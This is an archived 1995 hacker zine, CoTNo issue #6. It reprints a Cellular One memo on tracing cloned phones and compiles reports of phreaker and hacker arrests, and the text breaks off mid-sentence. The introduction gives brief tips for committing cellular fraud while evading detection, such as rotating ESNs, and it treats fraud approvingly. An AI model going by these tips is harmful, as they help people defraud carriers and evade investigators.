The Hacker's Encyclopedia 1998

home *** CD-ROM | disk | FTP | other *** search

/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / a_m / cotno6.txt < prev next >

Wrap

Text File | 2003-06-11 | 165.8 KB | 3,589 lines

______ ______ _____________ ____ ___ ______ / ____|\ / \ /____ ____/\ / | \ / / | / \ / / ____\| / __ |\ \_/ /\____\/ / | / / / / __ |\ / / / / /__/ / | / / / / /| |/ / / / /__/ / | / /__/______ | / / / / / / / | / / | / / |____________|\ |\_____ / / /__ / / /___/ / |___/ / |\_____ / / |_____________\| \|____| / \__\ / |___ |/ |___|/ \|____| / ____ / \ --- / \ \ __ / /\ \ \ \ _/______|_/ / / / \ | | / / / / | ---\( |/ / / / | \|\(/ \(/\(/ | | / / / \ / / \ ___/ / / / Communications of The New Order Issue #6 Fall 1995 "There is nothing more difficult to take in and, more perilous to conduct, or more uncertain in its success, than to take the lead in a new order of things." - Niccolo Machiavelli' Cavalier........"I hacked codes to get warez for free drugs." Dead Kat........"I have non-hacker friends but fuck if I keep in contact with them, they don't have k0d3z." Disorder........"US West knew we were getting their stuff, they just didn't know we were on the deferred payment plan." Edison.........."I said fuck you cop.. well I wish I had said that." Major..........."SUNOS... the swiss cheese of unix." Voyager........."I don't think money is as powerful as fear, but I have a day job." Special Thanks: Gatsby, Mark Tabas, The Doktor, Presence, Demonika, Rage (303), Invalid Media, Deathstar, KevinTX, Intrepid Traveler, Plexor, yLe, Drunkfux, Damien Thorne, Brownstone, Storm Bringer, Neophyte, Ole Buzzard, AntiChrist, Redboxchilipepper, El Jefe, Jupiter, Captain Hemp. Good Luck: Mark Tabas, Gatsby, Kevin Crow, Dispater, St. Elmo, Zibby, Dr. Delam, Phantom Phreaker, Purple Condom, Manson, BernieS, Kevin Mitnick, Alphabits. <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo> __/\iNTRo/\__ CoTNo is a 'zine of the computer underground of the 1990's. It is written for H4Qu3r's and pHR3aCK3r's of intermediate to beginning experience. All the information published herein is as accurate as possible and pertains to techniques and devices that actually work. We do not publish any article that is not of an H/P nature. If you wish to comment on or contribute to CoTNo, email one of us, or catch one of us on the iRC or try to catch us in your local Telco dumpster. Ahem... This issue is dedicated to all of our good friends who have recently been busted. In fact, the last three issues are dedicated to them, since there have been more people busted in the last twelve months then at any time since Sundevil. In issue four I espoused my opinion that there was a federal conspiracy at work with paid informants masquerading as our friends. Last issue I gave detailed information on one of our own busted members, John Falcon. In this issue there will be information you can use to help keep yourself out of jail. In this issue, Disorder has compiled detailed information on the busts of lasts twelve months. Each bust that we heard of is detailed with names and events. Hindsight is always clearer than foresight, so hopefully you can learn from these busts how to avoid a similar fate. Also in this issue, I am releasing confidential information on how cellular fraud is prevented. The information is straight from a national cellular carrier and details exactly how the telcos detect, trace, and bust cellular abuse. This information should convince you to take the utmost precautions if you are experimenting with cellular technology. Lastly, John Falcon sent me an article on what to do if you do get busted. I think this is the first H/P article ever written from jail! The following information was an actual article from Cellular One that was distributed to some of their employees. This article was not edited in anyway, and contains the best information I have ever seen on how cellular fraud is prevented. If you are participating in cellular phreaking, I recommend that you read this article very closely and take it as a warning from the Cellular Telephone industry. They are getting serious about halting cellular fraud, and for good reason. In New York for instance, often there are more fraudulent cellular calls than legitimate ones on any given day! The Fedz are on their side too. As you may already know, the Fedz ran an underground BBS for 8 months this year just to catch Cellular Fraudsters. In fact, Kevin Mitnick was recently busted using the same methods described in the following article. The article, dated February 1995, follows: A team of five Cellular One employees helped stop cellular fraud in Denver last week. To protect both our employees and future investigations, Cellular One team members names will not be released. California officials tracked a suspect from the Los Angeles area using a cloned cellular phone to Denver early last week and asked Cellular One for assistance in locating this suspect. With the cloned cellular phone number and a number the suspect repeatedly called in California, the five Cellular One employees and both local and California law enforcement agents began tracking the whereabouts of the suspect through the pattern of his cellular phone calls. Using AMA searches, RFCALL Trace, directional antennas, an IFR 1500, an RSAT Plus, and hours of labor, the Cellular One team identified the suspect's calling patterns. An AMA search is a record of an individual cellular phone number's calls. The cellular number is input along with the parameters for the search - start and finish date and time - and a log is printed which shows each individual call made by that cellular number. This tool is used generally within three days of the calls which you wish to observe. AMA searches were compiled over several days to document the calling patterns of the suspect. While the AMA searches show the past calling pattern, when attempting to capture a cellular fraud suspect, real time tools must also be used. The Cellular One team used RFCALL Trace which tracks similar information as an AMA record with the exception that the information can be collected with only a 10 second delay from real time. RFCALL Trace also tracks the individual radio in use, any handoffs, and the signal strength of the cellular call. Law enforcement agents issued a subpoena to Cellular One for all information regarding the fraudulent cellular phone number's activity on our system. Most of the fraudulent phone calls were being placed between 10am and midnight. Tracking which cell sites, cell faces, and radios the suspect's calls set up on identified a small geographical area as the suspect's base of action. Once an area had been established, one team member drove this area using an RSAT Plus, an IFR 1500, and a directional antenna (all basic cellular test equipment used in system optimization) to pinpoint the suspect's location to a specific apartment complex. This team me tracked the calls made by the suspects's cellular number and, watching the faces serving the calls and he handoffs made by the system during the suspect's calls, he was able to narrow down the location from which the calls were made to a specific side of one apartment building. The law enforcement agents, equipped with their own brand of cellular fraud- busting tools, asked if the Cellular One team could identify the actual apartment within the building where the calls were being placed. A narrowband directional antenna was set to the transmit frequency of the cloned phone. One problem was that with each new phone call, the frequency being tracked changed. The suspect made short calls, most around one minute, with the longest between three to five minutes. Using the directional antenna and resetting the frequency with each new call on the cloned phone, the Cellular One employee identified a group of apartments within the building from which the cellular calls were being placed. Unfortunately, the suspect slipped out of the building before the specific apartment was identified. Again using RFCALL Trace, the Cellular One team logged the suspect's next phone call on a cell site near Stapleton Airport. Law enforcement was notified and kept aware of the phone calls as the suspect traveled throughout the system. It became evident that the suspect was moving back toward the apartment complex. Surveillance officers outside the apartment noticed three men enter just moments before the Cellular One team notified them that a call had been placed from the apartment. Within 20 minutes, the suspects again left the apartment. Denver Police began pursuit of the suspect and made the arrest. Five additional cellular phones were found in the suspect's apartment. It has not been determined if these phones are cloned. Although cellular fraud exists, it is possible to catch the criminals. Congratulations to our fraud busters! Cellular One asks that you keep this story confidential since the specifics of this and future investigations depend on our ability to catch the criminals in action. End of Cellular One Article. Pretty scary, huh? Cellular phreaking used to be considered pretty safe, but times have changed. The cellular phone companies are losing so much money on cellular fraud, that they have made busting the cellular hackers a priority. If you do commit cellular fraud, I suggest you use the following guidelines: 1. Never use the fraudulent ESN for over two weeks. 2. Change ESN's as often as possible. 3. Avoid creating a calling pattern with your fraudulent ESN. 4. Avoid using the fraudulent ESN from a stationary location. These tips could keep you out of jail! Because you cannot divert with a cellular phone (unless you are Kevin Mitnick) these precautions are necessary. As my friend John Falcon told me, "Its not worth doing time for silly phone shit." He's right. H/P is fun, but anyone who has gotten busted will tell you the same. But if despite these warnings, you still decide to cellular phreak, just make this quote from Gatsby your mantra, "An ESN a day, keeps the federals away." |>ead|<at -=(TNo)=- Table of Contents ~~~~~~~~~~~~~~~~~ Introduction......................................Dead Kat Operation Phundevil...............................Disorder What Happens When You Get Caught..................John Falcon Legal and Technical Aspects of RF Monitoring......Major The Tao of 1AESS..................................Dead Kat & Disorder Frequently Visited AT&T Locations.................Major & Dead Kat Remote Hacking in Unix............................Voyager The Definity Audix VMS Inside Out.................Boba Fett Bridging the Gap..................................Eddie Van Halen Elite Music Part V................................Disk Jockey Conclusion........................................Dead Kat <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo> -= Operation Phundevil =- by DisordeR[TNo] With all the busts happening in the past year, and a lack of information in the scene regarding who got busted when, and for what, I decided to put this article together. After working on this for a while, I realized that not only was it a little difficult in finding bust info, but half of the little you found was bullshit. The information in the following article is as accurate as I can find. With all the different accounts of what happened, different nicknames, different NPA's, and pure stupidity out there, don't bet your life on the information contained within this article. The following sections give you some details about some busts, and RUMORS of others. I indicate which are rumors and which are legit. I utilized everything from BBS posts, to newspaper articles, to word of mouth. Thanks to those who helped me on this. And by no means is this NEAR complete... =-= "OPERATION CYBERSNARE: FEDZ = 1, PHREAKZ = 0" Main Thugs: Peter A. Cavicchia II - Special Agent in Charge Donna Krappa - Assistant U.S. Attorney in Newark Stacey Bauerschmidt - "Carder One" The Busted: Richard Lacap - "Chillin" - Katy, Texas: Accused of conspiring to break into the Portland, Oregon AT&T Wireless computers. Kevin Watkins - "Led" - Houston, Texas: Accused of conspiring to break into the Portland, Oregon AT&T Wireless computers. Watkins used the computer system of Embry Riddle University in Prescott, Ariz., to enter the McCaw computer, Secret Service Special Agent Stacey Bauerschmidt said in a sworn statement. Jeremy Cushing - "Alpha Bits" - Huntington Beach, California: Accused of trafficking in cloned cellular phones/equipment and stolen access devices (ESN/MIN Pairs). Frank Natoli - "Mmind" - Brooklyn, New York: Accused of trafficking in stolen access devices. Al Bradford - "Cellfone" - Detroit, Michigan: Accused of trafficking in unauthorized access devices. Michael Clarkson - "Barcode" - Brooklyn, New York: Accused of possessing and trafficking in hardware used to obtain unauthorized access to telecommunications services. Penalty: If convicted, defendants face maximum possible sentences ranging from 15 years for Cushing to 10 years for Bradford, Clarkson and Natoli and five years for Lacap and Watkins. Details: Starting in January, Stacey Bauerschmidt and other Secret Service agents in Newark, NJ, set up what is now called "an electronic chop shop" by the press. Stacey (in cooperation with a 'nameless informer' who will be mentioned later) set up a computer BBS called "Celco 51" with the intent of busting hackers and phreakers specializing in cellular phone fraud. For the first sixth months, the board operated using MBBS with four nodes. At any given time the board had an 800 re-route (not really) so that the users could call without any problem (ANI). To the credit of the agents in charge, the board did not allow just anyone access. The sysop (PMF) appeared to discriminate and only allow the 'elite' members of the H/P community on. With the illusion of security, the agents running the board could successfully monitor the users, and begin to make deals with the hackers. Stacey [Who went by 'Carder One'] continually asked members of the BBS if they were interested in selling ESN/MIN pairs [Used for cellular phone fraud]. These 'pairs' are considered 'illegal access devices' and are usually found in large enough amounts to consist of felonies. On top of the illegal access devices, Stacey was looking for people that were willing to sell illegal cloning equipment. This equipment consisted of devices used to get pairs, clone phones, and reprogram phones. The operation was very successful in many ways, notably the ability of the agents to mask the true nature of the board. For over eight months, Stacey and other agents monitored the board looking for any chance to prosecute any of the members. The sysop (PMF) continuously advertised the board to the members, as well as mailed and HARASSED members into calling more than they wished to (Entrapment anyone?). PMF was responsible for mailing members up to three times a day, message flooding people on IRC, and using other methods of harassment to get hackers to call. On top of the harassment, Carder One continuously asked for people to post 'pairs' as well as sell them in private. In a few cases, individuals would not have considered selling these pairs had the federal agents not harassed them so much. Ahem. "Cushing and five others were arrested in four states during a sweep last week by federal agents. Another 14 raids spread over eight states led to the confiscation of 31 computers, 65 illegally programmed phones and 14 "readers," devices used to illegally pluck cellular phone numbers and serial codes from cellular phone transmissions." [Wonder who's computer will run the next sting board?] "But because the alleged crooks posted phone numbers on the bulletin board indicating where they could be reached, the Secret Service was able to trace the calls, leading to the arrests." [Need we emphasize the importance of Diverting any more?] "But officials said this case represented the first time that the Secret Service had created an entirely new computer bulletin board..." [Couldn't bust any warez kiddies recently...] [Watch out kiddies... They are using more than 'questionable' methods of busting hackers and phreaks these days. If you haven't met someone, be careful of what you post on their systems.. many people thought PMF was cool until he NARKED on everyone that he could.] =-= "ANARCHIST BUSTED FOR WRITING MAGAZINE" From: The Anarchives <tao@presence.lglobal.com> In early march of 1995 I was arrested for "Unauthorized Use Of A Computer". Three large, white, plain-clothes detectives from 52 division in downtown toronto came to my house, promptly arrested me, took me to a holding cell, and conducted a strip search (looking for codes I guess). I was held in custody for four hours (7:30 pm to 11:30 pm), and released as a result of substantial protest made by friends and family at the sergeants desk. I was being accused of breaking into the computer systems at the University Of Toronto for the purpose of publishing "Anarchist newsletters". The sysadmin of ecf.utoronto.ca, one Professor Jack Gorrie <gorrie@ecf.utoronto.ca>, saw someone on his system publishing Anarchist materials, assumed I was a malicious "hacker", turned over all records of my email, news posts, key strokes, you name it, to the police at 52 division. The police realizing how dangerous these "hacker anarchist" types are, had to come to my house to cuff me, bring me down, and strip search me. I was to face trial for a possible six months in prison, just for exercising my democratic rights and responsibilities. Of course the end result was that the charges were dropped, although this was not until several months later (sept 7, 95), after several appearances in court, and after my agreeing to pay $400 to the skule. =-= "FEDS SAY HACKERS CRACKED INTO TOWER CREDIT CARD RECORDS" by, Denny Walsh From: The Sacramento Bee Saturday Sept. 16, 1995 Two talented Berkeley hackers were charged Friday with computer- age crimes against a Tower Video rental store in Sacramento, federal authorities said, in large part because they went up against Tower's even more talented electronic security corps. When authorities raided their apartment last month, Terry Patrick Ewing, 21, and Michael Yu Kim, 20, had the credit card numbers of 2,000 Tower customers, federal prosecutors said. According to a federal grand jury indictment, Ewing and Kim used their personal computer to break into a system know as TRON, owned and operated by Tower's West Sacramento-based parent, MTS Inc. Kim and Ewing are charged in a three-count indictment with conspiracy, fraud and the unauthorized destruction of computer data. The prosecutor said the pair are not in custody and will be allowed to surrender next week. He said he does not see them as flight risks. =-= "KEVIN MITNICK BUST - HIGHLIGHTS" From Multiple Sources If you want more details, read the hundreds of articles about this story. Also, read the Phrack 47 editorial pertaining to this subject. Kevin Mitnick (31) -One of the first indicted under Computer Security Act of 1987 -Search began in November 1992 -Mark Seiden (expert in firewalls) discovered that someone had obtained all of Netcom's credit card numbers for 20,000 online subscribers. -Stole files from: Motorola, Apple, Netcom, and more. -Mitnick used the Well as a repository for files he stole from computer security expert Tsutoma Shimomura. -After raping Tsutoma, he used Bruce Koball's account to transfer proprietary software from Motorola, NEC, Nokia, Novatel, Oki, Qualcomm, and other cell manufacturers. -Shimomura concluded that it was Mitnick, and that he was operating through cellular, from Raleigh, NC -Mitnick was bouncing his calls through GTE Switches, local switches, and a few types of cellular switches, and utilized Netcom's dialins. -Lived in Player's Court, a 12-unit apartment building in suburb of Duraliegh Hills, three miles from the airport. He lived in Apt 202. -Until a week or two before he was arrested, FBI surveillance agents in Los Angeles were certain that 'the intruder' was somewhere in Colorado. -FBI arrested him at 24 hour stakeout -Arrested in Raleigh, N.C. at 1:30 a.m. =-= "PHREAKS BUSTED IN NY... MORE TO COME" "Ok all Listen up and listen good. resistance is down. Maybe permanently. Most of you prolly haven't heard yet, but there have been major busts going around. ... Today alone i found out that Neon Samurai, Tokien Entry, and Hellfire have been busted. ... that they even busted craig neidorf(knight lightnig) again. More bad news. If you are on UPT(unphamiliar territory) or Cellco 51, stop calling. The SS who raided hellfire slipped a bit and bragged about being on those boards. Hellfire said the feds were mostly interested in credit cards, VMB's, and Cell phones. They are looking to bust for cellular, VMB's and credit cards... Tokien entry i found out has been in jail for 2 days! Neon Samurai was busted for credit cards and also for telco equipment that the nynex people said was worth 50,000. " PMFs (Narc) reply: "dude, this is utter shit and i expect u to post this reply for me seeing as i ain't on that bbs.. Hellfire gave up his accounts to UPT and my bbs among others, he was the only person busted and nothing to do with his busts was EVER mentioned on my board. He doesn't even get involved in cellphones, he was busted coz he and every other person busted used 1 800 CALL ATT from his house.. what a bunch of lamers... I don't even know who wrote that next but i would like to find out.. probably the guys from NYHE..." [Ironic isn't it!] =-= "ALPHABITS ORIGINAL BUST LAST YEAR" Caught alphabits on irc lastnight and he said: <alphabits> but I got sent to prison 7 months ago, and lost contact *** According to different people, he was busted for check fraud and/or credit fraud and/or cellular fraud. Unfortunately, I will not be able to talk to him until after this article. =-= "SYNCOMM, MEMBER OF S.O.B (SERVANTS OF BABUSHKA) RAIDED" From another group member: Syncomm was talking on the phone.. the day before Master of Reality got busted... so MOR, Greg and equinox were sitting there chatting away when a load of federal agents <SS, FBI, 1 NSA guy and even a guy from customs> and some local police busted down his door. He dropped the phone and all they heard was a rustle of papers .. then a "Secure that paper!" then a click.. They put a shotgun to his head and said "Hello Syncomm". They said he was the leader of S.O.B. an international terrorist organization. Then again they thought that Crypt Keeper and MOR were also the sole leader of SOB ... So then they put a knee to his back and handcuffed him <Greg, 16, apparently posed a serious threat>. They proceeded to interrogate.. and at one point this one agent <female> tried to seduce him into talking <I think he would of he she did more .. ;)> .. He was finaly was lead outside when his neighbor walked up to them and handed them all of Greg's notes, etc.. that greg had asked him to stash.. Greg then threatened his neighbors life.. <which he came back to do unhandcuffed afterwards> and was led off to holding... were they produced "A big fucking printout" that apparently detailed Greg's activities.. they nailed him for hacking UC and then accused him of crashing their systems.. Along with criminal tools <his computer> and some other offenses.. <one of which I am sure of is Wire Fraud.. they love that> =-= "FBI REVEALS ARREST IN MAJOR CD-ROM PIRACY CASE" SOFTWARE CRACKDOWN - Two Canadians were arrested in a blitz that has software companies upset to see piracy extending into the CD-ROM format. From the Associated Press, Saturday Dec 24 1994 BUFFALO, New York - The FBI has arrested a Canadian father and son in what is believed to be the first major case of CD-ROM piracy in the United States. Agents said Thursday they seized 15,000 counterfeit copies of the popular CD Rom games REBEL ASSAULT and MYST that were being sold at 25% of retail value. PETER MISKO, 63, of Mississauga, Ontario, and his son, BRUCE MISKO, 36, of CHICAGO were arrested in Buffalo and charged with felony copyright infringe- ment. The counterfeit goods were recovered in a Niagara Country warehouse authorities said. The FBI told the Los Angeles Times that additional warrants were served in INDIANA and NEW HAMPSHIRE as part of a crackdown on retail stores selling the illegal software. MORE ARRESTS ARE EXPECTED. =-= "MULTI-COUNTRY EFFORT CRACKS COMPUTER RING" TORONTO - Canadian, US and European investigators have cracked a ring of computer hackers who allegedly stole about $5 million US$ by breaking into the computers of phone companies and other firms. The 12 hackers who met over the Internet, used coding and call switching to conceal the transfer of funds, codes and communications. RUDY LOMBARDI, 22, of MISSISSAUGA Ontario PLEADED GUILTY on Tuesday, June 27 1995. He got 90 days in Jail and 100 hours of community services for HELPING the RCMP with their investigation - instead of at least a one year jail sentence. =-= "RUMORS FROM 914" There has been a huge chain of busts in 914. Apparently, GANGSTER, who ran a board in 914 called 'Bamboozie Dimension' was busted. Rumor goes on to say that he was 'fucking around with CC's' which led to the bust. =-= "WAREZ BUSTS IN 510" The Sewer Line BBS in 510 met trouble on December 11th due to the distribution of console warez (from various posts). Rumor also has it, that a user on the board going by ROCK'N was in fact a sega representative, and narked on the sysop for his activities. =-= "214 BUSTS" During August of '94, several boards (mostly warez/ansi affiliated) were raided by the FBI. The busts occurred in the Dallas/Ft. Worth area, the list follows: Agents of Fortune [409] (Sysop: Butcher [LEGEND]) Suburbia [214] (Sysop: The Chairman [RZR], The Network [214] (Sysop: Masterblaster) The Depths [214] (Sysop: Maelstrom ex-[RZR/iCE]) Elm Street [214] (Sysop: Freddy Krueger) User to User [214] (Sysop: William Pendergast) =-= "PHILLY 2600 MEETING" From recent posts and word of mouth, the Philadelphia 2600 meetings are having a hard time making it past 5 minutes. Apparently, local police in coordination with mall rent-a-cops [joining of forces there], are kicking hackers and phreakers out of their meeting place based on charges of loitering and conspiracy [to do what?! Assemble?]. Currently, police are threatening to break up meetings, and/or jail participants for the two reasons cited above. =-= "FEDZ BUST KID IN MINNESOTA" November '94, a 15 year old in Minnesota had a pleasant visit by federal agents. According to newspaper articles, the boy [unnamed in the article] was basing his hacks out of the Detroit Free-Net. "He used passwords to gain access to more than 10 computer networks from Detroit to Moscow". During his time on the Detroit Free-Net, he was said to have maliciously disabled enough of the system 'forcing' it to shut down. Currently, the boy is facing potential charges for using telecommunications devices to cross state lines, and felony charges for breaking into computer systems. Other favorite quotes from the articles about this case: "...hospitalized, possibly for psychological reasons, when police confiscated his computer modem and software programs Monday." "...said the boy appeared to fit the typical hacker profile: a 15- to 20-year-old male, many who have low self-esteem. 'He really could use a girlfriend instead of a computer' Grewe said." =-= "THE TROUBLES OF BERNIE S." Recently, a lot of press has been covering the story of 'Bernie S'. You can find more info about his bust on alt.2600 as well as several 'hacker' mailing lists. Here are some of the interesting quotes from one of those articles: "Ed Cummings, also known to many in cyberspace as Bernie SS was arrested on March 13th, 1995 for 2 misdemeanors of possession, manufacture and sale of a device to commit Telecommunications fraud charges. He is being held in Delaware County Prison in lieu of $100,000.00 Bail." His arrest took place at a local 7-11 where *15* police cars pulled into the parking lot. During the interaction with the officer, he told them 'no, you can't search my car', yet minutes later, he noticed an officer going through the contents of his car. Despite his protests, the officer removed several timing crystals, tone dialers, and a 'broken red box'. The following day, Bernie was at a friend's house when '8 to 10' plain clothed armed men burst into the house yelling 'freeze'. Minutes later he was being taken to jail in cuffs. He was not formally charged until his arraignment where his bail was set to 100,000 dollars because he refused to talk with the police without counsel present. "The Judge dropped the two unlawful use of a computer charges due to the fact that the evidence was circumstantial and the county had no actual evidence that Ed had ever used the computers in question. As of 3/27/1995 Ed Cummings is still in Delaware County Prison awaiting his trial." =-= "RUSSIANS ARREST 6 IN COMPUTER THEFTS" This article was taken from the Associated Press, Saturday Dec 24 1994 St. Petersburg, Russia, Sept 26 (AP) -- Russian police officers have arrested six more people in a $10 million computer theft from Citibank here, but the masterminds are said to remain at large. Several people have been arrested abroad and face charges in the United States, including Vladimir Levin, 28, reportedly the group's computer hacker. Citibank officials said they recovered all but $400,000 and upgraded the cash-management systems's electronic security after the theft. FT, Sept 21, 1995. Extradition in Citibank hacking case A British court yesterday approved the extradition to the US of Mr Vladimir Levin, the Russian science graduate accused of an attempted $10m (6.5m pounds) computer hacking fraud on Citibank. ... =-= "PURPLE CONDOM CAUSES TROUBLE" Purpcon recently had pleasant meetings with his Dean where he attends college after getting caught rewriting his magnetic student ID, so that others would get charged for his meal. :) =-= "CoTNo RUMORS" In past issues of CoTNo we have always said 'good luck to' people that have been busted (or said to have been busted).. Deathstar, AntiChrist (school admins?), Coaxial Mayhem, Maestro (Blueboxing?), Lucifer (still in jail?), Grappler (hacking), Jimbo (MCI Calling Card Fraud), Maelstrom, and Datastream Cowboy (hello CIA spooks), Merc, Crypt Keeper (keep reading), 602 crowd, and the 513 crowd. At the request of some of the above, I can't go into details on their busts. =-= "JOHN FALCON BUSTS" Since rumors about his bust have been running rampant on the 'Net', here are the facts about the bust... for more info, and JF's reply to the rumors, read CoTNo 5. Common myths of my arrest: 1 - The FBI/NSA cracked my hard drive and read all my encrypted mail. 2 - Mr. Falcon left his secring.pgp on his system. 3 - FBI/NSA read the RSA encrypted data. 4 - My conviction was because I was a hacker. Let me go over my conviction: Count 1: Theft of Government Property - How they caught me: Narc Count 2: Fraudulent use of an Access Device - How they caught me: Narc Count 3: Fraudulent use of a Computer - How they caught me: questionable Count 4: Fraudulent use of an Access Device - How they caught me: Narc If you would like to get in contact with JF, here is his info: email: jfalcon@ice_bbs.alaska.net snailmail: Don Fanning #12617-006 3600 Guard Road Lompoc, CA 93436 =-= "EPSILON, DAMIEN, SHOCKWAVE (303)" From CoTNo 3 (Read there for full story) Three Colorado teen-agers are suspected of setting up an elaborate computer- hacking system that tapped into a long-distance telephone company and stole secret access codes (k0dez!). Police arrested Kevin Wilson (Damian), 18, of the 7400 block of South Gallup Street in Littleton, and two juveniles (Epsilon and Shockwave) from Jefferson County in the alleged scheme. =-= "INTERVIEW WITH A CRYPTKEEPER" ck: I only got busted last February (1994) for hacking dis: I heard you got hit twice.. once last year, and once a lot more +recently.. CK: nope, I moved, I didn't get busted. I only got busted last year, once, that's it. And it wasn't real serious.. not like cellphone/money laundering..just some inet hacking. I got busted for hacking the University of Cincinnati and a few other things on the net.. they traced me through a PBX.. they were serious. They thought I was a spy. they were pissed to find out I was just a 16 year old. dis: hmm... bad.. did they just search/seize or what? ck: search/seized my computer.. I eventually got most of my stuff back (the computer, monitor, and keyboard) and had to spend 10 days in juvenile thats about it. oh.. and a big pain in the ass too of course not bad at all.. dis: anything else? ck: and tell them I was only busted ONCE, and it wasn't all that serious. I don't have any plans to get back into the scene (it sux now), but I do enjoy hearing about it sometimes. =-= "FEDZ CATCHING ON TO CALLING CARD SKAMS" A $50 million telephone calling-card theft ring disclosed earlier this week by federal investigators is representative of the advanced types of scams that have emerged in the last two years as telephone companies have become better at ferreting out fraud. The Secret Service said Ivy James Lay, a switch engineer at MCI's network center in Charlotte, N.C., stole over 60,000 calling card numbers from MCI and other long distance companies, later selling them to 'band of computer hackers.' The estimated value of the cards lies near $50 million. The Secret Service (which investigates fraud like this) claims this to be the largest case of calling card theft to date. =-=-= "SOME OF THE INTERESTING FACTS FROM A NEWSPAPER ARTICLE" Two computer hackers have been sentenced to fed. prison and an accomplice in Mn. awaits sentencing for his part in an international phone conspiracy. Ivey James Lay of Haw River, N.C., and Frank Ronald Stanton of Cary, N.C., were part of a hacker ring that stole credit-card numbers from MCI's Computer terminal in Greensboro. A third member of the ring, Leroy James Anderson, of Minneapolis pleaded guilty Friday in Minnesota to federal copyright violations. US District Court Judge James Beaty on Fri. sentenced Lay to tree years and two months in prison. Stanton, a 22-year-old student at Wingate College, was sentenced to one year. Anderson's sentencing is expected this summer. The conspiracy stretched into several European countries and cost long- distance carriers more than $28 millon, authorities said. Lay and Stanton pleaded guilty in Jan. to charges of fraud and trafficking in unauthorized access devices. The group bought and sold at least 50,000 numbers from 1992 until the summer of 1994, according to court documents. "What I did was very stupid," Stanton told Judge Beaty at his sentencing. "I'd like to go back and finish college." =-=-= "SHOCKER[303] GETS NAILED FOR CC'S" Damn, I got busted w/an illegal line tap! FUCK. No jail, just major phone bills! They are gunna try to bust me w/Credit Card fraud too. I shoulda listened to you. Fuck me. Got my mac taken away, I am writing this from a friends, I am not supposed to be here either, but hell, I got everything taken away, life sux shit, so do the gawd damn cops. Anyways, um, I'll see what happens, I'll call you sometime if I can get to the phone w/out my parents knowing. I can't have anything back until I pay for this shit, I think it is between $400 and $500, not sure, I already paid $170, but then I hafta fucking pay for MY PARENTS phone bill too, I rung the fuck outta that too. I got like, a felony and a second degree misdemeanor for that shit, they will drop the felony to a misdemeanor tho, I got charged with 'Theft' (felony) and criminal tampering (2nd degree misd.) SHIT TO HELL! Damnit. Anys, um, I'll see ya ok? Bye.. =-=-= "NYHE RUMORS" The New York Hack Exchange got busted for scams and cellfonez... (Someone mail me with more than a rumor please) =-=-= "WAREZ BOARD BUSTS AROUND THE COUNTRY" Bad Sector [BUSTED!] Beyond Corruption [BUSTED!] Jurrasic Park [BUSTED!] Lineup [BUSTED!] Main Frame [BUSTED!] Necronomicon [BUSTED!] No BBS [BUSTED!] The Notice [BUSTED!] On The World [BUSTED!] Perfect Crime [BUSTED!] Red Alert [BUSTED!] Restricted Area [BUSTED!] Rubbish Heap [BUSTED!] Skull Island [BUSTED!] Twins [BUSTED!] The Underworld [BUSTED!] Wolf Pack [BUSTED!] 15 Arrests 75 RCMP Officers Involved Removed at least 11 BBSs in one day Seized more than $200,000 in computer hardware Operation/Investigation lasted 6 months to 1 year April 12, 1995 Busts are localized in Montreal 514 NPA =-=-= "DUTCH HACKER ARRESTED" (from CUD 7.21): --------------Original message---------------- UTRECHT, THE NETHERLANDS, 1995 MAR 6 (NB) -- A Dutch student has become the first person to be convicted of computer hacking in the Netherlands. Ronald Oosteveen, a 22 year old Utrecht computer science student, was handed down a six month suspended sentence by magistrates last week, and was fined around $3,200 Oosteveen was accused of breaking into university, corporate and government computers, following his arrested in March, 1993, just three weeks after new Dutch anti-hacking legislation came into force. Oosteveen was caught in the act of trying to hack into the computer lines of a technical university in Delft near The Hague. He is also thought to have been responsible for previous hacking attacks which occurred before the new legislation came into force. =-=-= "THE EAST COAST" Tabas and Others Bust: According to Gatsby, the following were busted: Himself, Mark Tabas KC, Dispater, St. Elmos, Zibby, Rudy, Dr Delam, and Phantom Phreaker. (When I talked to him, he wasn't able to say much since it was the day after the bust) From empire Times: February 22, 1995 One thing all the people have in common: Southwestern Bell - or at the very least, the desire and ability to hack all the switches on the west coast. According to those involved, it goes way beyond switches... =-=-= "THE LAMACCHIA CASE" April 94: BOSTON, MA ...A federal grand jury returned a felony indictment today charging an MIT student in a computer fraud scheme resulting in the piracy of an estimated million dollars in business and entertainment computer software. United States Attorney Donald K. Stern and FBI Special Agent In Charge Richard Swenson announced today that DAVID LAMACCHIA, age 20, currently a junior at the Massachusetts Institute of Technology, was charged in a one count felony indictment with conspiring to commit wire fraud. The indictment charges that between November 21, 1993 and January 5, 1994 LAMACCHIA operated a computer bulletin board service that permitted users to copy copyrighted business and entertainment software without paying to purchase the software. The bulletin board was operated without authorization on MIT computer work stations and was accessible to users worldwide over the Internet... [Losses] are estimated to exceed a million dollars. [bahaha] =-=-= "BRITISH CALLING CARD BUST" British students have taken part in an alleged ú65m computer fraud, involving the electronic theft of cards that allow users to make free telephone calls around the world. The hackers, one of whom was only 17 years old, were said to be earning thousands of pounds a month selling cards... Police found one teenager driving a new ú20,000 car and with computer equipment worth ú29,000 in his bedroom. AT&T officials also found a computer noticeboard called "Living Chaos" that was being used to sell the cards for up to ú30 each. It mentioned Andy Gaspard, an employee of the Cleartel telephone company in Washington, whose home was raided. "We found 61,500 stolen cards ready to be sent to Britain," said Eric Watley, a secret service agent in the city. (The Sunday Times, 12 February 1995) =-= "TNO BUST OF 1994 - NEW NEWS" (my comments in [ ]) ROCKY MOUNTAIN NEWS (Front Page Headline) COMPUTER-CRIME RING CRACKED (Monday June 19, 1995) Quartet accused of hacking into Arapahoe college's system, inciting illegal acts. --------------------------------------------------------------------------- (Fourth Page Article) 4 ACCUSED IN COMPUTER HACKING CASE (By Marlys Duran) Suspects used equipment at college to incite criminal acts, officials say. Arapahoe County - Hackers calling themselves "The New Order" [Look Ma!] allegedly gained access to the Arapahoe Community College computer and used it to distribute tips on how to commit crimes. One man operated a computer bulletin board on which contributors from throughout the world exchanged how-to information on crimes ranging from credit-card fraud to high-tech burglary, authorities said. [Of course they fail to make that distinguishing gap that this board was NOT run off the Arapahoe system, and that it was a private BBS run out of his house] Computers were seized from the homes of four hackers, ranging in age from 15 to 21. Secret Service experts were called in to help crack the computer files. ['type filename.txt' is hard to crack eh?] Investigators found software for breaking 